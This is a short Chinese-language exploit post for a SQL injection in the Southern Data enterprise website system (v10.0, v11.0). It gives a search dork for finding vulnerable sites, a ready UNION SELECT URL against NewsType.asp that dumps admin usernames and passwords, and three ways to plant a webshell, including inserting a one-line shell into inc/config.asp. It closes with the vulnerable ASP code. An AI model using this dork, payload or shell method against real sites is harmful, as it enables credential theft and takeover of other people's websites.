南方数据企业0day漏洞 00x0 漏洞简述
该漏洞其实早就爆出了。
漏洞影响版本 v10.0、v11.0。
关键字:“inurl:HomeMarket.asp”
默认后台:/admin
直接爆出用户密码,构造 URL 如下:
1
http://www.xxx.com/NewsType.asp?SmallClass=' union select 0,username+CHR(124)+password,2,3,4,5,6,7,8,9 from admin union select * from news where 1=2 and ''='
拿 shell 方法貌似有三种:
注册用户上传拿 shell,这个比较直接,可以不进后台和在不知道用户名密码的情况下。
进后台备份数据库。
在网站配置的版权信息里插入一句话,一句话地址写到 http://www.xxx.com/inc/config.asp
00x1 漏洞分析
漏洞代码文件:NewsType.asp
这里我们只截取部分可利用代码如下:
1
2
3
4
5
6
7
8
9
10
11
<%
-------
SmallClass=request("SmallClass")
-------
%>
<%
if BigClass<>"" and SmallClass<>"" then
sql="select * from News where BigClassName='"& BigClass &"' and SmallClassName='"& SmallClass &"' order by AddDate desc"
set rs=conn.execute(sql)
do while not rs.eof
%>
这里可以看到 SmallClass 被直接当做sql 变量执行了,也就是说该变量用户可控,也就造成了SQL注入。
最后,向那些代码审计的大哥致敬。